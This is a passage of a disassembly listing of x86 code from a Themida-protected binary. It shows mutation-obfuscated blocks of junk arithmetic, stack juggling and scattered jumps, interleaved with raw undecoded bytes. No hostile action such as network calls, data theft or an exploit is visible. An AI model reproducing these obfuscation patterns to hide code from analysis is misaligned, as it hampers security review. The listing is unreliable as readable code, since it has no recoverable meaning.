		db 0FFh
		dd 669D1C77h, 14D36659h, 0AE99C24h, 29FFFFE0h, 4EC81F7h
		dd 89000000h, 0E9240Ch,	31000070h, 0BD555AD6h, 34BC3403h
		dd 3FEFE945h, 0F5010000h, 6DF9ED81h, 0F0E941F6h, 89000037h
		dd 4C281E2h, 83000000h,	0FF5204EAh, 5A042474h, 0FFEF83E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_605315:				; CODE XREF: Themida_:00604ECEj
		shr	edx, 3
		add	edx, 0F275FD04h
		mov	ebp, edx
		pop	edx
		jmp	loc_6034F3
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 3BE9240Ch, 1FFFFFCh,	0C2815FFAh, 2, 2474FF52h, 2434FF04h
		dd 8B6CE9h, 5BF88800h, 2AE980h,	2AC180C1h, 702DE9h, 243C8B00h
		dd 4C481h, 0C870000h, 24248B24h, 0FF2434FFh, 515A2434h
		dd 0C1815954h, 4, 0CB7E9h, 2434FF00h, 4C4835Dh,	9030C581h
		dd 83E9836Bh, 0FF00009Eh, 0E95B2434h, 8D82h, 6F94BA52h
		dd 90E910ECh
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60539F:				; CODE XREF: Themida_:0060E9E6j
		pop	ecx
		jmp	loc_60ACB8
; ---------------------------------------------------------------------------


loc_6053A5:				; CODE XREF: Themida_:00609076j
		push	dword ptr [ebx]
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		jmp	loc_608468
; ---------------------------------------------------------------------------
aANs		db '܀>',0
		align 4


loc_6053D4:				; CODE XREF: Themida_:0060C99Ej
		mov	ebp, edi
		pop	edi
		jmp	loc_60E2A1
; ---------------------------------------------------------------------------
		dd 0EF54E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6053E2:				; CODE XREF: Themida_:0060DAF9j
		pop	ecx
		mov	esi, 0DCC5FFBAh
		add	esi, ebp
		pop	ebp
		add	edx, 409555E9h
		sub	edx, 44E6632Fh
		add	edx, esi
		push	ebx
		jmp	loc_607922
; ---------------------------------------------------------------------------
		db 0B8h
		dd 13261982h, 0F705E8C1h, 0BA5240D0h, 0FF66CF30h, 15AD029h
		dd 16B7E9C6h, 0CFF0000h, 0C5815D24h, 0FF2DED40h, 0FFF151E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_605429:				; CODE XREF: Themida_:00603FD7j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	esi
		mov	esi, 4
		jmp	loc_60B689
; ---------------------------------------------------------------------------
		db 0B9h
		dd 5B6E5D75h, 400BC981h, 0E9C10EA9h, 41D1F708h,	68h, 240C2900h
		dd 5E9C159h, 0FF7EF181h, 0CD890002h, 5372E9h, 6E1C100h
		dd 2BACE9h, 0E951AD00h,	4585h
; ---------------------------------------------------------------------------


loc_605474:				; CODE XREF: Themida_:0060D6A7j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ecx, esi
		pop	esi
		push	6395h
		mov	[esp], edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		jmp	loc_60B3F8
; ---------------------------------------------------------------------------
		dd offset byte_60E368
		align 2
		dw 489h
aS8		db '$S8',0
		db 2 dup(0), 0E9h
		dd 3227h, 535BF830h, 7ECEE951h,	22E90000h, 0B8FFFFDEh
		dd 566A33D8h, 34D73548h, 42E95F03h, 6600003Bh, 2404AB0Fh
		dd 0DE07E99Ch, 0E089FFFFh, 0F08E956h, 0E9530000h, 9791h
		dd 58241CF7h, 0C72DD0F7h, 89EEA05Ch, 0EE2958C5h, 0E9F0015Dh
		dd 3768h, 8B2434FFh, 0C4832404h, 2BE95004h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60550B:				; CODE XREF: Themida_:0060CFEEj
		xchg	eax, [esp]
		jmp	loc_60D344
; ---------------------------------------------------------------------------
		db 89h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_60A54C
; ---------------------------------------------------------------------------


loc_605527:				; CODE XREF: Themida_:0060AA63j
		add	eax, 312168DBh
		and	eax, 0A0F60ADh
		shr	eax, 1
		xor	eax, 527F2DB9h
		push	esi
		mov	esi, 7CCE45D3h
		sub	eax, esi
		pop	esi
		jmp	loc_60A810
; ---------------------------------------------------------------------------


loc_605546:				; CODE XREF: Themida_:00603CAEj
		add	ecx, 4
		jmp	loc_609853
; ---------------------------------------------------------------------------
		dw 6853h
		dd 6184B1Ch, 81241C8Bh,	4C4h, 6DAFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_605562:				; CODE XREF: Themida_:0060E8FBj
		pop	ebx
		jmp	loc_605ECE
; ---------------------------------------------------------------------------


loc_605568:				; CODE XREF: Themida_:0060C46Aj
		sub	esi, 54DF2903h
		sub	esi, 0C89CB72Eh
		mov	edx, esi
		jmp	loc_60AFF8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 81582434h, 4ECh, 241C8900h, 25C9E9h,	0C3C98100h, 0E9233C14h
		dd 1010h, 6E21F381h, 0EB8151D3h, 0F3E1B1Ah, 9EE9DA89h
		dd 8B000040h, 0C481241Ch, 4, 8B240C87h,	5BE92424h, 30000002h
		dd 2434FFD0h
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_60D131
; ---------------------------------------------------------------------------


loc_6055D9:				; CODE XREF: Themida_:006048C4j
		mov	edi, 673126FAh
		not	edi
		and	edi, 0AF32D40h
		or	edi, 33DB3E8Ch
		dec	edi
		add	edi, 53A80EB5h
		xor	edi, 0EB331BDh
		jmp	loc_608F34
; ---------------------------------------------------------------------------


loc_6055FE:				; CODE XREF: Themida_:0060A363j
		add	edx, edi
		sub	esp, 4
		jmp	loc_6069D4
; ---------------------------------------------------------------------------


loc_60560B:				; CODE XREF: Themida_:00604C48j
		not	edi
		jmp	loc_608BAD
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 58E95C24h, 81FFFFEEh, 0CBC689F1h, 59CE897Bh,	15EF001h
		dd 33752DC8h, 0C8B5861h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_60BF6C
; ---------------------------------------------------------------------------
		dd 148BD331h, 0E3895324h, 4C381h, 0B9510000h, 4, 0EAE9CB01h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_605663:				; CODE XREF: Themida_:00605CCDj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_607AC9
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 8166824h, 535B1B05h,	0B9515B5Fh, 1B050817h, 8359CD89h
		dd 48904ECh, 4D9EB824h,	0C5010905h, 0E6E95058h,	0FF000026h
		dd 5A042474h, 5C24048Fh, 9C2404D2h, 0FFDC34E9h,	0A3E681FFh
		dd 0C12AD360h, 0F68105EEh, 71EBC7D6h, 0FFE66BE9h, 66F000FFh
		dd 0EEB25253h, 80ACC280h, 0D3885DC2h, 131AE95Ah, 4BA0000h
		dd 1000000h, 4E5FE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6056DE:				; CODE XREF: Themida_:0060C845j
		add	esp, 4
		push	61ACh
		mov	[esp], ebp
		pop	dword ptr [edi+20h]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4


loc_6056F6:				; CODE XREF: Themida_:0060B985j
					; Themida_:loc_60DAFEj
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6C9B3DF3h
		and	esi, 2B895C8Dh
		inc	esi
		jmp	loc_608F02
; ---------------------------------------------------------------------------
		dw 295Dh
		dd 0C3295EF3h, 112EC381h, 6858726Ch, 1C3Eh, 3036E9h, 1FB95100h
		dd 291E7555h, 0DBF759CBh, 9E60EB81h, 0D801FDC0h, 81AE95Bh
		dd 0FD290000h, 4F50ED81h, 0ED81696Dh, 9054D9Eh,	67D6E95Fh
		dd 0E95B0000h, 5A78h, 1C13E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_605766:				; CODE XREF: Themida_:00605815j
		pop	ecx
		xor	eax, ebx
		pop	ebx
		jmp	loc_607A7F
; ---------------------------------------------------------------------------


loc_60576F:				; CODE XREF: Themida_:0060E374j
		push	eax
		mov	eax, 2ACA57B1h
		shl	eax, 6
		xor	eax, 4C30735Ah
		not	eax
		sub	eax, 530420EDh
		sub	eax, 7C613F44h
		mov	edx, eax
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	edx, 74AF2B87h
		jmp	loc_608E03
; ---------------------------------------------------------------------------
		dd offset dword_68A768
		dd 4916E900h, 34FF0000h, 4C3AE924h, 77FF0000h, 58669D1Ch
		dd 9C240410h, 0FFDB10E9h, 4EF83FFh, 2474FF57h, 48F5F04h
		dd 0ACE95C24h, 0B8000063h, 4, 6967E9h
		db 0
; ---------------------------------------------------------------------------


loc_6057E9:				; CODE XREF: Themida_:0060691Fj
		push	eax
		jmp	loc_6082AE
; ---------------------------------------------------------------------------
aTsua		db 'TuA',0
		dd 241C8700h, 0E924248Bh, 0FFFFFCCBh
; ---------------------------------------------------------------------------


loc_605800:				; CODE XREF: Themida_:00603EA3j
		mov	[esp], ebx
		mov	ebx, 604C1D82h
		push	ecx
		mov	ecx, 723C036Ah
		mov	eax, 5C947857h
		xor	eax, ecx
		jmp	loc_605766
; ---------------------------------------------------------------------------
		dw 0E9F7h
		dd 4EC8350h, 83242489h,	8B042404h, 11E92404h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60582F:				; CODE XREF: Themida_:00605ED9j
		add	esp, 4
		mov	[edi+38h], dh
		pop	edx
		jmp	loc_6032DD
; ---------------------------------------------------------------------------


loc_60583B:				; CODE XREF: Themida_:00609AC4j
		pop	esp
		push	eax
		mov	eax, esp
		push	ecx
		jmp	loc_60BAAA
; ---------------------------------------------------------------------------


loc_605845:				; CODE XREF: Themida_:006073ECj
		dec	esi
		add	esi, 0BCB7247h
		sub	esi, 3D21C949h
		jmp	loc_6080AC
; ---------------------------------------------------------------------------


loc_605857:				; CODE XREF: Themida_:0060B602j
		sub	esi, 0FFFFFFFFh
		push	ebp
		mov	ebp, 0D5766BCh
		not	ebp
		jmp	loc_60F24A
; ---------------------------------------------------------------------------


loc_605867:				; CODE XREF: Themida_:0060C09Aj
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_60B5D8
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 519A42E3h, 42E1F381h, 0DA01519Ah, 0E9EFE95Bh, 0C1FEFFFFh
		dd 4327E9h
		db 0
; ---------------------------------------------------------------------------


loc_60588D:				; CODE XREF: Themida_:0060BD16j
		add	edi, ebp
		jmp	loc_60B794
; ---------------------------------------------------------------------------
		dd 493321BDh, 0FAF58147h, 0C1343B10h, 0F58102EDh, 65407369h
		dd 23F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_6058AD:				; CODE XREF: Themida_:0060BC71j
		pop	ecx
		xor	edx, 0C645ECCh
		push	edi
		mov	edi, 7247792h
		and	edi, 32F23CFAh
		add	edi, 65E73959h
		or	edx, edi
		jmp	loc_6060A9
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 23F0h, 0E9243489h, 2B27h,	5159BE56h, 0F1891CF1h
		dd 3E1C15Eh, 6436E181h,	0BB5326DDh, 3964D3Fh, 0F75BD931h
		dd 43B850D9h, 0E9251E4Dh, 1FE2h, 1FEB68h, 24348900h, 6B0ECE68h
		dd 0C1465E27h, 814606EEh, 0C9A9E8F6h, 5EF38967h, 5102EBC1h
		dd 0EC6F39B9h, 0B850417Fh, 38D835C9h, 5653E9h, 1C77FF00h
		dd 419589Dh, 96E99C24h,	5FFFFFD9h, 5E08950h, 4,	4BB53h
		dd 0D8010000h, 2404875Bh, 24048F5Ch, 1815E9h, 241C3300h
		dd 33241C31h, 0FF5C241Ch, 36E92434h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_605977:				; CODE XREF: Themida_:00608FACj
		push	edx
		push	edi
		mov	edi, 5A9323F1h
		jmp	loc_60BA2D
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2958C529h, 242C8BE8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		push	eax
		mov	eax, 5A074688h
		not	eax
		xor	eax, 9A98B991h
		mov	edi, eax
		pop	eax
		jmp	loc_609B80
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5452240Ch, 69DAE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6059BE:				; CODE XREF: Themida_:0060D470j
		shl	ebp, 2
		and	ebp, 13D45D9h
		jmp	loc_60EC0B
; ---------------------------------------------------------------------------
		dd 815DE931h, 0BD0758EDh, 75B0E91Ah, 0CA800000h, 6AB0506Fh
		dd 0FE58C208h, 3EAC0C2h, 512BE280h, 8677E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6059F2:				; CODE XREF: Themida_:00607AC4j
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2C484B1Ah
		jmp	loc_60991A
; ---------------------------------------------------------------------------


loc_605A13:				; CODE XREF: Themida_:0060F447j
		mov	ebp, 3C2D0AE2h
		jmp	loc_609E2B
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0CAh
		dd 45031E18h, 24143152h, 6DBEE9h, 48B6600h, 4EC8124h, 89000000h
		dd 0EC83240Ch, 48F5404h, 9397E924h, 0BB0D0000h,	542D60Ch
		dd 0BC219305h, 5658C501h, 694AE9h, 59C82900h, 20253E05h
		dd 215BE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_605A66:				; CODE XREF: Themida_:0060D99Bj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_604E9F
; ---------------------------------------------------------------------------
		db 50h
		dd 0EF30E954h, 4BAFFFFh, 81000000h, 0F827B1EDh,	57D50121h
		dd 424113BFh, 0CEF812Fh, 4704E104h, 598EE781h, 0C7815B4Eh
		dd 17B80EA9h, 5A5FFD01h, 31F7E9h, 0D81BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_605AC2:				; CODE XREF: Themida_:006099CDj
		mov	[esp], ebp
		mov	ebp, 2C981B62h
		or	ebp, 3D28670Dh
		sub	ebp, 3DB87F6Bh
		add	edx, ebp
		pop	ebp
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_60C583
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 242C8700h, 2434FF5Ch, 903FE9h,	1E38BF00h, 0B9E94398h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_605B03:				; CODE XREF: Themida_:0060B35Fj
		push	2444h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_60AFD6
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 34h
		dd 0DFA2E924h, 8F54FFFFh, 4812404h, 424h, 0C6815E00h, 4
		dd 2DE95053h, 5EFFFFDFh, 51CAE9h, 0C8B6600h
		db 24h,	50h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_604310
; ---------------------------------------------------------------------------
		dd 9D1B26BAh, 51FABD28h, 0B4E93CC4h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_605B5F:				; CODE XREF: Themida_:00606C46j
		xor	esi, 61065C7Fh
		sub	ebp, esi
		pop	esi
		add	ebp, edx
		jmp	loc_60AF57
; ---------------------------------------------------------------------------


loc_605B6F:				; CODE XREF: Themida_:00608545j
		mov	ebp, 6C486C79h
		jmp	loc_60360D
; ---------------------------------------------------------------------------
		db 5Fh,	52h, 0E9h
		dd 18B1h, 8704C183h, 8F5C240Ch,	665C2404h, 9C243CD3h, 8F44E9h
		dd 4896600h, 0D73FE924h, 6853FFFFh, 2CE75874h, 47CB815Bh
		dd 81444337h, 65492BCBh, 0EB8167h, 0E950EF34h, 34BFh, 0E67DFFB8h
		dd 6A2D4009h, 5100F30Ah, 0F37394B9h, 69B7E908h,	54530000h
		dd 4C3815Bh, 81000000h,	4C3h, 241C3300h, 33241C31h, 555C241Ch
		dd 0FFF381E9h, 55E829FFh, 0C60D1BBDh, 5DE8013Ah, 57B1E9h
		dd 0E7E95A00h, 81FFFFE1h, 617DA7C9h, 81D9F70Ah,	0E265FFE1h
		dd 0D1F18146h, 8120A920h, 0DF43A7C9h, 93F18112h, 5501A776h
		dd 2870BF57h, 0FD89262Eh, 2921E9h, 5E545600h, 4C681h, 0BD550000h
		dd 2, 0FCBEE81h, 0EE014BE1h, 37E1E9h, 0E10F6800h, 295DA8D6h
		dd 0FD25E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_605C5E:				; CODE XREF: Themida_:0060A0F2j
		mov	eax, 4
		jmp	loc_60C6F0
; ---------------------------------------------------------------------------


loc_605C68:				; CODE XREF: Themida_:0060956Cj
		add	eax, edi
		pop	edi
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		jmp	loc_60CC6E
; ---------------------------------------------------------------------------
		dd 0CB00C4B1h, 0FFC38059h, 506EE380h, 0EC8026B4h, 45C480FFh
		dd 0C040F480h, 8EE907E4h, 0F00007Dh, 9C51C8AFh,	0FFD640E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_605C9D:				; CODE XREF: Themida_:00605D5Cj
		sub	eax, 4
		jmp	loc_6093CC
; ---------------------------------------------------------------------------


loc_605CA5:				; CODE XREF: Themida_:006069CFj
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 23B820E2h
		xor	edx, 45EC0C9Dh
		inc	edx
		push	ebp
		mov	ebp, 7D7440EFh
		not	ebp
		sub	ebp, 1C37928Ch
		xor	edx, ebp
		pop	ebp
		add	edi, edx
		jmp	loc_605663
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 8704EE83h, 895C2434h, 6850240Ch, 0D0F441Fh, 582434FFh
		dd 815A5452h, 4C2h, 4C28100h, 83000000h, 148904ECh, 505BE924h
		dd 0E9810000h, 53B9022Eh, 0FFFFE981h, 0E981FFFFh, 4369760Eh
		dd 9F46E981h, 0CE01B9A4h, 4EE8359h, 8B243487h, 2C892424h
		dd 50E58924h, 8C0AA8B8h, 5E8C123h, 0FFFD09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_605D3D:				; CODE XREF: Themida_:0060AF63j
		shl	edx, 1
		push	27ABh
		mov	[esp], ecx
		push	449Ch
		mov	[esp], edi
		mov	edi, 0FFFFFFFFh
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_605C9D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 5D545524h, 4BB53h, 0DD010000h, 6856535Bh, 4F7C0C3Dh
		dd 0F1B9515Eh, 0E9737279h, 1ACEh, 351EF181h, 4EE984E7h
		dd 5F00007Bh, 8B1C4721h, 0C4812404h, 4,	0FFD53CE9h, 5BDE89FFh
		dd 3F4E9h, 81EFD100h, 55730BEFh, 429E910h, 0E95E0000h
		dd 0FFFFD521h, 4C781h, 3C870000h, 68565C24h, 5749h, 81242489h
		dd 42404h, 815E0000h, 4C6h, 4EE8100h, 33000000h, 34312434h
		dd 24343324h, 242C895Ch, 0FFF397E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_605DF5:				; CODE XREF: Themida_:00604B00j
		add	esp, 4
		shr	ecx, 6
		push	3D9h
		mov	[esp], ebx
		jmp	loc_6083D1
; ---------------------------------------------------------------------------
		dd 241C8B54h, 3840E9h
		db 0
; ---------------------------------------------------------------------------


loc_605E11:				; CODE XREF: Themida_:00603775j
		not	dword ptr [esp]
		pop	esi
		push	0D14h
		mov	[esp], eax
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		jmp	loc_609ADE
; ---------------------------------------------------------------------------
		db 1
aWsW		db 'WW',0
		dw 100h
		dd 0EEC781F7h, 0E92E9A2Bh, 5904h, 5224348Bh, 54DAE9h, 0DFC98100h
		dd 816E9B2Bh, 40005C1h,	0E9CF0100h, 0FFFFE4C4h,	6E73E959h
		dd 87590000h, 0FF5C241Ch, 0C8B2434h, 9BE95524h,	83000047h
		dd 0E95001C0h, 0FFFFDF51h, 9CFBABBDh, 5DEF01A5h, 92E9FA01h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_605E8B:				; CODE XREF: Themida_:00603DBBj
		mov	edi, 5C992FF5h
		push	ebx
		mov	ebx, 3EAF6B43h
		jmp	loc_607903
; ---------------------------------------------------------------------------
		db 81h
		dd 5F59F0C3h, 5BDA31D5h, 43F0E9h
		db 0
; ---------------------------------------------------------------------------


loc_605EA9:				; CODE XREF: Themida_:00607D9Aj
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_6079FA
; ---------------------------------------------------------------------------


loc_605ECE:				; CODE XREF: Themida_:00605563j
		mov	dh, al
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_60582F
; ---------------------------------------------------------------------------


loc_605EDE:				; CODE XREF: Themida_:00606C8Dj
		inc	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_60D3A0
; ---------------------------------------------------------------------------


loc_605EEA:				; CODE XREF: Themida_:0060CF99j
		add	dl, 0DDh
		not	dl
		jmp	loc_60E41D
; ---------------------------------------------------------------------------
		dd 4246C81h, 27EF6F2Ah,	4244481h, 1E135A61h, 0E92434FFh
		dd 9202h, 0ED81D5F7h, 2E89D945h, 0DAE9h, 24048F00h, 8F45E9h
		dd 8BCD0900h, 5FE9240Ch, 0BEFFFFF1h, 6EE43E3Ah,	52FFC683h
		dd 7C12C9BAh, 235FE958h, 665D0000h, 0B1D2E981h,	59CF8966h
		dd 66FE8966h, 83243C8Bh, 296602C4h, 665E66F0h, 0E974BC2Dh
		dd 46E2h, 922DF829h, 5F5C0970h,	945EF82Dh, 7F592D13h, 0A5E9352Ch
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_605F77:				; CODE XREF: Themida_:0060EBC4j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_607676
; ---------------------------------------------------------------------------


loc_605F8C:				; CODE XREF: Themida_:0060EF86j
		mov	[esp], edi
		push	esi
		jmp	loc_6072E1
; ---------------------------------------------------------------------------


loc_605F95:				; CODE XREF: Themida_:0060928Fj
		push	1E1D5902h
		pop	ecx
		mov	esi, 1E1D5903h
		xor	esi, ecx
		mov	ecx, [esp]
		jmp	loc_6076E9
; ---------------------------------------------------------------------------
		dw 2EE9h
		dd 68FFFFD3h, 6EE8h, 342DE9h, 5DE95800h, 0C1000079h, 0F58107E5h
		dd 1576D2C0h, 0BBE9E929h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_605FCF:				; CODE XREF: Themida_:0060610Cj
		sub	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 3F7378A0h
		push	dword ptr [esp]
		pop	edx
		push	35C4h
		mov	[esp], edi
		jmp	loc_60DC03
; ---------------------------------------------------------------------------
		db 0D1h
		dd 4DD5F7EDh, 81D5F74Dh, 0A13C78EDh, 5CC5815Eh,	314018E8h
		dd 221DE9EBh, 50580000h, 352181B8h, 0E9C20914h,	1DFDh
		dd 54F58195h, 0F7428F15h, 0EFE581DDh, 0E963B605h, 4F4h
		dd 8704C183h, 10E9240Ch
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60603B:				; CODE XREF: Themida_:00606BDFj
		mov	[esp], eax
		push	ebp
		jmp	loc_6083FE
; ---------------------------------------------------------------------------
		dd 241CF766h, 0D28FE99Ch, 0E689FFFFh, 1D5A68h, 24048900h
		dd 4B8h, 8D17E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_606062:				; CODE XREF: Themida_:00608A36j
		shr	ecx, 3
		sub	ecx, 900206h
		jmp	loc_606717
; ---------------------------------------------------------------------------
		dd 5C243C33h, 0C76CD81h, 0F58151BDh, 0C28DE3Ah,	505DE831h
		dd 5A30E9h, 4C48100h, 0E9000000h, 0FFFFD685h, 0E95FF901h
		dd 0FFFFFAE4h
; ---------------------------------------------------------------------------


loc_60609C:				; CODE XREF: Themida_:006064F1j
		pop	esp
		jmp	loc_60C68A
; ---------------------------------------------------------------------------


loc_6060A2:				; CODE XREF: Themida_:00609965j
		and	ecx, ebp
		jmp	loc_6066FC
; ---------------------------------------------------------------------------


loc_6060A9:				; CODE XREF: Themida_:006058C8j
		pop	edi
		xor	edx, 6ECF7DFFh
		add	ebp, 940271Ah
		add	ebp, edx
		sub	ebp, 940271Ah
		jmp	loc_60EAA4
; ---------------------------------------------------------------------------
		db 83h
		dd 0EC8304C0h, 24048904h, 42474FFh, 24048F58h, 0EE07E95Ch
		dd 0C483FFFFh, 18EB8004h, 2815EB80h, 15C380C3h,	4EC8350h
		dd 1871E9h
		db 0
; ---------------------------------------------------------------------------


loc_6060F1:				; CODE XREF: Themida_:00604A22j
					; Themida_:00604E0Fj ...
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ebx
		mov	edx, edi
		pop	edi
		push	edx
		push	ebp
		mov	ebp, 3F7378A0h
		jmp	loc_605FCF
; ---------------------------------------------------------------------------
		db 0B6h, 18h, 88h
		dd 0CFFE5AF7h, 0E902EFC0h, 58DEh
; ---------------------------------------------------------------------------


loc_606120:				; CODE XREF: Themida_:0060D7DFj
		mov	[esp], edx
		push	ebx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edx
		pop	esi
		jmp	loc_60E9BA
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h, 0E9242C89h
		dd 6FB9h, 759868h, 24048900h, 8904EC83h, 7CBA2414h, 29294974h
		dd 5A042454h, 3BEF6858h, 1C890000h, 0CD6BB24h, 0BF577F76h
		dd 13DA41BEh, 1923BA52h, 0B85015EAh, 731B7D33h,	4258C221h
		dd 0B951DAF7h, 22CF03C9h, 42F0E9h, 0A8CE8100h, 0D106BC32h
		dd 814E4EEEh, 4ECh, 240C8900h, 630A32B9h, 84F18164h, 0E9151F5Eh
		dd 6F9Ch, 0ACBE565Ah, 0E9500243h, 3DD4h, 24048B66h, 56E78957h
		dd 7C55BB53h, 0C2E916B0h, 9FFFFFBh, 243C8BF9h, 4104C483h
		dd 4E29E9h
		db 0
; ---------------------------------------------------------------------------


loc_6061ED:				; CODE XREF: Themida_:0060C2A3j
		add	esp, 4
		push	esi
		mov	esi, 1CAB4111h
		inc	esi
		xor	esi, 59B41F7Ch
		not	esi
		not	esi
		xor	esi, 4A5E22DCh
		dec	esi
		push	ecx
		mov	ecx, 631B251Ah
		jmp	loc_606B20
; ---------------------------------------------------------------------------
		db 59h
		dd offset loc_6317E7+2
		dd 0EC815E00h, 4, 0FF240489h, 8B042474h, 0C4832404h, 24048F04h
		dd 0E924248Bh, 2698h
; ---------------------------------------------------------------------------


loc_606238:				; CODE XREF: Themida_:0060E84Ej
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_6032DD
; ---------------------------------------------------------------------------
		db 58h,	1, 0DEh
		dd 8B2434FFh, 0C483241Ch, 4C48304h, 31243433h, 0A9E92434h
		dd 81000030h, 3D4D5DE2h, 6835h,	14290000h, 1F1AE924h, 0DA310000h
		dd 57D2F75Bh, 0E24EF9BFh, 7254E92Bh, 0C5810000h, 24F4FDA1h
		dd 7D7CB850h, 0E0C16940h, 8F3507h, 0CAE928A9h, 31000033h
		dd 1C33241Ch, 24248B24h, 24048B66h, 0FFD1C1E9h,	6E9ADFFh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6062BF:				; CODE XREF: Themida_:0060C859j
		push	edx
		jmp	loc_604AF4
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 8
		dd 0E8C1D0F7h, 0F9354004h, 10FF9DFh, 24048BC2h,	40AEE9h
		dd 0F60CB000h, 0E9F124D8h, 0FFFFE140h, 0E946B151h, 0FFFFDD67h
		dd 2841EB80h, 41C380C3h, 68F9E9h
		db 0
; ---------------------------------------------------------------------------


loc_6062FD:				; CODE XREF: Themida_:00608870j
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		xor	eax, 70E210ECh
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_6052BD
; ---------------------------------------------------------------------------


